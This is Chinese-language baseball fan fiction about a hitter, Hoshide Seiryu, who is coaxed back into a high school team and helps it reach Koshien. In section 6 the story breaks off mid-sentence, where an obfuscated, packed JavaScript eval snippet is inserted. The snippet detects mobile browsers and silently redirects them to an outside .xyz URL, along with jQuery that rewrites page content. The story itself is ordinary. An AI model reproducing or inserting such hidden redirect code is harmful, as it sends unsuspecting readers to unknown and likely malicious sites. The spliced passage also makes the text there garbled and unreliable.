0.
“我记得你，国二地区预选赛，被我打爆之后投球失常，第三局就降板的……谁来着？不好意思。”
蓝发少年坐在教室座位上，单手撑着脸，手指勾着脸侧过长的发丝，另一手在手机屏幕上飞速连指，操纵小飞机有惊无险地躲开眼花缭乱的弹幕。
进行紧张刺激的高难关卡，少年却连眉毛都没动，甚至有余力分心，微微偏头抛来一个含有询问意义的平淡眼神，用几句话就把方才在他耳边吵嚷的同级生话头堵死。
“我啊，是我！卷田！卷田广伸！”
噪声源有着一头张扬的墨绿色头发，身材高大，表情粗莽，伫立在过道里严严实实把自己外出的通路挡住，被说两句就气极跳脚，脾气很冲，看上去不好惹。
……实际上挺好惹。
以前在宝谷打棒球的时候，和他关系比较好的人大多会克制情绪或者收敛情绪，星出星流很少见这类会自己爆炸的人，感觉好新奇。
正好通关。
星出把手机扣在桌面上，仰着头看着来人无法反驳只好憋着闷气的模样，稍显困惑：“你们为什么会觉得——只凭你一个人能够说服我？”
刚想好对前面的话的反击之词，话到嘴边卷田广伸就被带跑偏了，他挺起胸膛自豪地说：“因为我们是同一个班的！”
“……哈？”
“而且桐岛前辈难得求人办事，这就是本大爷成为棒球部王牌的第一步！”
有火焰在卷田广伸的眼瞳中熊熊燃烧。
星出星流移开目光。
这家伙被骗了吧。
“当然，更重要的是，”卷田广伸手指猛然向下，做了个扣住棒球的手势，“现在的我已经进化了，来一打席胜负！用我的超燃地狱摇滚投球，绝对——三振掉你！”
星出星流扫一眼，再次移开目光。
“指叉球啊，”他恹恹地拿起手机，“快速指叉，坠幅怎么样，有无特殊位移？”
“算了。”
没等卷田回答，星出星流突然叹气，把手机揣进兜里，推开椅子站起来，“走吧。先说好，就一打席，你输掉以后别来烦我。”
同班同学好无聊，棒球也好无聊。
他才不要每天都来一遍这种缠人的拒绝，趁机彻底解决掉吧。
卷田广伸没想到星出爽快地答应了他的挑战，虽说有点怪怪的。
他回过神，嚷嚷到：“要是我赢了呢！”
“啊。”
星出星流呆了下，似乎没想过那种可能。不过很快，他露出鼓励而友好的微笑，“赢了……说明你很厉害。”
“喂？！你这不是耍赖吗！！”
果然又爆炸了。
·
·
1.
栗田担心地看着在投手丘上调整的卷田。
他和卷田是富士见青少棒的，曾经在最有希望的国二的那一年地区预选赛，败给宝谷。
即使提前结束，比赛过程仍然令人煎熬。
那其中的主力，星出星流，竟然升入了冰河高中！在分班名单上见到这个名字的时候，栗田不敢相信自己的眼睛。
而当卷田广伸真的把星出星流带来棒球部时，很多人即刻将卷田广伸的评价从“头脑简单”修正为“有点东西”，除了笑容意味深长的桐岛秋斗，其他人看卷田和星出宛如两只活体哥斯拉。
教练听到两个人要一打席决胜负后直摇头。现阶段恐怕连桐岛都不敢打包票——要是能三振掉星出星流，卷田可以收拾收拾直接戴上1号背号了。
……但人好歹是来了！
要知道星出星流升学后可是从未到过棒球部！
最开始，各校监督们各展神通，家访、递名片、掏合同——捕获青少棒优秀选手们，极力劝说他们来本校就读。
不答应的，无非是条件没开够，或者心目中有更好学校的选择。在青少棒打出成绩后，在高中放弃打棒球的终究是少数。
可是星出星流很冷静也很冷淡地表示自己不会继续在高中打棒球——据说以同样的理由拒绝了大阪系强校和东京不少名门的邀请。
但他不可能不上高中嘛！
于是新的开学季，这个便宜被冰河捡到了。
·
·
2.
把过长的头发绑成一束低马尾，简单热过身后他开始戴手套和护具——来自桐岛秋斗赞助，他们两人身形相近，新的手套还算贴合。
“因为离家远，考上就过来读，冰河升学率很高，不算浪费偏差值……不想打棒球需要理由吗，打棒球没有意义啊……我讨厌关西男人。”
拿人手软，星出星流如实回答桐岛的三个问题。
前两个勉强能理解，但最后的——
有点被攻击到但不会自己对号入座，桐岛秋斗感觉星出这人真是有意思。
什么嘛，孩子气一样的地域黑……因为“讨厌关西男人”就拒绝了大阪系所有学校的邀请。
简直笑死人了。
桐岛秋斗还贴心地问需不需要试试他的球棒（很明显的关西腔），星出星流听懂里面的玩笑意味，瞟桐岛一眼嘀咕着说手套就够用，他不挑球棒，随便给他一支就能打。
星出星流从不骗人。
他拎着棒球部练习用的球棒，随意挥动两下，然后就站上左打者打击区。姿态放松，表情平淡。
在准备姿势前，星出抬起球棒指向投手丘，棒头遮挡住投手站立的身影，再缓缓收回——本垒打预告。
此举令卷田广伸脸色红润不少，静立姿势下身体轮廓隐约抖动。
桐岛在休息区直接拍大腿笑开了。而教练陷入煎熬的矛盾，投打对决无论哪种结果他都很期待。
就算到时候留不住人，让强打者磨一磨投手潜力股也好哇……不行，还是很想要星出！人来都来了为什么不尽力争取？！
如果卷田失败的话——
靠你了。
教练锐利的目光杀向桐岛秋斗。
……也行呗。
桐岛秋斗笑眯眯地移开视线。
·
·
3.
那孩子言行有些违和。
提起棒球时的眼神……可不像是“没有意义”啊。
·
4.
今日胜负，卷田广伸的败北。
“桐岛学长的球比你处理得干净漂亮多了。”
星出星流辛辣点评道。
说好的一打席，还让了卷田两好球，结果卷田下一球投坏，被星出追打出去，穿过二三垒处，落地在内外野之间。
以星出的速度看起码是个二垒安打。
随后桐岛秋斗施施然接过投手丘，不以胜负为目的，单纯向星出星流展示了几个变化球。
球路处理得相当精细，动作纯熟从容，因而每一球都划出无与伦比的美感。
再然后，棒球部里的投手，无论一军还是二军，或者不是投手的过分自来熟的队员们，围住了星出星流，央求他试试打自己的球，或者多打击几次——还没看够。
星出本来想直接走人的，他只答应了卷田，至于桐岛只是因为前辈不太好拒绝。
但那些同级生说着说着竟然流下热泪……？！
星出星流哪里见过这种场面，赶着让他打爆？搞不懂。
他喃喃道：“车轮战？”
实则不然。
前有青少棒时期无法逃脱的阴影，拼尽全力无法战胜；后有桐岛大魔王威胁微笑：不管多死皮赖脸、拖住强打者…王牌的要求罢了。
冰河的部员们硬着头皮上了，毕竟后者是超级恶趣味王牌，除了卷田谁能顶得住他把人往死里埋汰的架势。
为了以后和谐的部活，这个时候勇敢冲锋一下罢……！
然后他们就发现，星出星流，好像，还挺好说话的？
高野球儿的眼泪攻势太强劲了，或者说太辣眼睛，星出偏过头不再看盈满泪花的冰河队员，不情不愿地应下来奇怪的车轮战。
他总是先让两好球，第三球不管投什么样都敲出去，后续也不缠斗，只提着球棒点点本垒板，示意下一位赶紧上投手丘，速战速决。
就……很有强者的逼格？
打完之后出了点薄汗，少年扯下发圈，甩了甩在头盔里闷久的头发，他听见弱弱的声音，“那个，星出大人，你能留在棒球部吗？”
留在棒球部对冲桐岛学长，就算有卷田分担火力棒球部也是苦桐岛大魔王久矣。
“星出大人……！！”
看见星出表情动摇，鬼哭狼嚎更大声了。
好奇怪的称呼。
星出先是皱眉，拒绝立刻滚到嘴边：“不要。”
·
·
5.
“为什么不加入棒球部，”桐岛秋斗说，“我看你挥棒的时候可是很开心呀。”
星出星流回忆之前的状态，表情逐渐凝重。
他欠考虑了，脱离宝谷之后没怎么碰过球棒，这次来冰河棒球部一不小心敲了个爽，现在学长找上门，说不定不会这么简单放他走了。
桐岛秋斗，冰河棒球部的王牌投手，传言性格恶劣，但意外地在女生团体中很有人气。
之前他上来投球，星出星流愣是没挥棒。
星出以前没见过有人投过这么优美的变化球，可能是青少棒投手的水平还不够，或者桐岛本人个性如此，对值得钻研的方面不断精进，仔细妥当，敏锐怀柔。
星出星流想起来最开始打棒球的心情——
最开始是没有理由的。
喜欢上棒球也是由于微小的契机。
自投手丘上划来的球路鲜明清晰，有迹可循，而眼中的世界缓慢运转，几乎停滞，像是在等待着他——
击球。
只要听过一次就再也无法忘记，令人灵台清明、精神大振的独特声响。
球与金属棒相撞，嗡鸣震动，而震颤停止后，身躯中仍泛着起伏不定的、喜悦的余波。
桐岛秋斗投球的简洁与轻快，让星出再次找回那种纯粹喜悦的情绪，他看得入迷，以至于手套的声响都没办法把他从沉浸的思绪里拉出来。
星出星流对好投手尤其宽容。
所以在桐岛把棒球部员都赶过来拖住他的时候，星流也没有发作。
他只是在想……
“前辈，我已经没有打棒球的理由了。”
少年低垂着头，深蓝发丝遮盖住他的表情，整个人显得阴郁。
“在撒娇呀，星出同学，”桐岛看他这样没忍住乐了一下，他故意说，“你之前为谁打棒球对我来说不重要呀……只是缺‘理由’的话，为什么不可以为我努力一下呢？”
作为通向胜利的基石，是星出星流国中时期的固定角色，他习惯了。
胜利之后除了“胜利”本身没有其他的价值，这种情况，他也习惯了。
星出星流木木地：“前辈也想去甲子园吗？”
桐岛：“有比去甲子园更重要的事哦。”
更重要的事，又是什么。
如果完成目的后仍有理由继续前行——
“请前辈告诉我吧，拜托了！”
星出星流鞠躬，他急切地恳求，“那个能够恒久坚持的理由——我想知道！”
“那么，就把你的‘残机’交给我吧。”
桐岛秋斗一锤定音，狐狸似的眼睛笑意弯弯，“我会好好使用你的。”
·
·
6.
春季大会星出星流复出。
教练把人排进中心打线，口口声声说“复健一下手感”，等到打点哐哐入账背过去脸差点笑歪。
能彻底执行战术的好打者真好用啊真好用。
期间接了小手指高中的练习赛邀请。
过来商量的不是什么监督，而是星出星流在宝谷的队友，要圭。
“原来你在冰河，”要圭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544531|160299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说，声音温和，“你已经找到答案了啊。”
“其实还没有，”星出星流诚恳地说，“我在等前辈告诉我，他说答案进甲子园再解锁。”
要圭笑容瞬间淡去。
……笨蛋吗你。
·
·
7.
练习赛，卷田广伸第三局登板投球。
“星流！”他一出牛棚就热哄哄地把手套凑上来，“大干一场吧！”
“不用你来说啦，他们的表现我都看腻了。”
星出星流一边说一边把手套伸过去，和卷田轻轻碰下，提醒到，“别得意忘形了，王牌（重音），不要给他们看你的指叉球……清峰和要在这个学校，预选赛有可能变成对手。”
“噢，也别对千早同学太上头，他球风比你冷静多了。”星流补充。
“……我知道了！！”
旁边的捕手欣慰地擦擦不存在的眼泪。
也不知道卷田同学能听进去多少……
·
·
8.
练习赛以一分差输掉了。
无所谓，反正卷田没用底牌，星出更是心不在焉。
星流春季大会出过场后，近期没有比赛，他频繁翘训，只是因为听说清峰和要在小手指才回来打。
结果发现老队友没有长进，甚至还有些倒退的态势……只是去都立校读书而已，变化至于这么大么？
不过也正常。
即使用最朴素的内外角交替配球，清峰的直球足够解决同年级大部分打者，而精心设计的配球、打磨完美的滑球也很难解决星出……
破案了。
要圭不会藏了新的变化球吧……
但在比赛里没见他用过哎，清峰最后阶段在学什么球来着……变速球？或者是指叉？
游击手和二垒手表现可圈可点，中外野启动很快，一垒手有特别的稳定感……除此之外一盘散沙。
这就是星出星流对于练习赛的全部感想。
和小手指的队员们告别后，卷田摁住星出：“你怎么只给桐岛前辈援护本垒打？！”
练习赛意思意思两支安打，不是这家伙的真实水平吧？！
“你区别对待！！”吵耳朵的控诉声震响。
“本垒打没那么容易……要看手感的。”
星出星流拍拍他的手，示意人放开他：“你要是能投出漂亮的变化球我也给你打。控球暴走还想要这要那的，问问教练能不能让你先发登板再说。”
卷田一怒之下怒了一下。
但气来得快也去的快，转个头的功夫他又把星流拽去打击区，要他看看用比赛中产生的灵感修正过的摇滚投球。
·
·
9.
夏季预选赛，决赛对战帝德。
进入甲子园一步之遥。
小手指苦战输给帝德之后，星出星流总算认真起来，也不翘训了，有空的时候不玩手机游戏，就盯着帝德打比赛录像看。
“要和清峰，他俩怎么回事……”
星出反复看反复疑惑，他课间抓着卷田，“呐，卷田，小手指输了！”
卷田不甘心地接上：“既然这样，当初就该给他们展示我那个超棒的摇滚球的！”
——因为学校离得比较近，他们在小手指打帝德之前去拜访过小手指。
卷田刚磨好一种特别酷炫的指叉球，第一次投短暂压制住了星出，连续嚣张两天后被桐岛制裁（虽然后两次投被星流迅速熟悉打出gg），他迫不及待地想向所有他认识的人分享喜讯，尤其是他很在意的富士见老队友，千早瞬平。
正好，星出也想知道清峰新掌握的球种是什么。
过去问只得到了要圭奇怪的敷衍：“嗯、啊，就是那个，咻一下投过来、磅！然后砰砰！的球……对了，你还没有看过我的绝活吧！”
刚把双手举到胸口位置，要圭就被他们队的二游间捂嘴拖走了。
留下一垒手尬笑擦汗和星出面面相觑。
“你们感情真好。”星出星流真挚地称赞。
一垒手笑容更加虚浮了。
配合水平稳步上升的小手指高中在第四轮败退帝德，星出星流惊觉原来他们之前练习赛打成那个样子原来不是在藏拙！
……帝德真的有那么强吗？！
如果输给帝德，去不了甲子园的话。
那他打棒球的理由与答案——
绝对不可以。
·
·
10.
星出星流变回了“胜利的基石”。
排在二棒意味着有更多机会。
冰河教练笑得和蔼可亲：“去吧，星出，让帝德看看什么才叫‘强打者’。”
内心更是暗爽：帝德监督，你一定也会为高野有这样的打者而感到高兴吧。
临上场前，星出星流摩挲着球棒握柄，若有所思：“桐岛前辈……要得几分你投球才会轻松一点呢？”
“落后五分我也会轻松地投球呀，”桐岛笑容愉快，语气却轻浮得令人发毛，“但打成那样的话……”
他言尽于此，但听到的人都知道下半句。
——后面的日子别想好过了。
卷田广伸直觉性地打个冷战，桐岛前辈还在惦记和帝德打的那场练习赛！当时他手感不好，四坏塞满垒被帝德四棒一击清垒打，对着休息区微笑的桐岛和没上场纯看热闹的星出汗流浃背。
结束回忆，卷田面色凝重：“星流。”
“我在。”
卷田伸出手：“让冰河赢吧，我也会全力以赴。”
“别说傻话啊，”星出无奈地和他碰碰拳头，“放松点，桐岛前辈最多能允许你扣五分……五条命（残机），投满四局，我援护你。”
·
·
11.
经过两个小时四十九分钟的激战，冰河高中以7：5两分差战胜帝德高中，获得甲子园门票。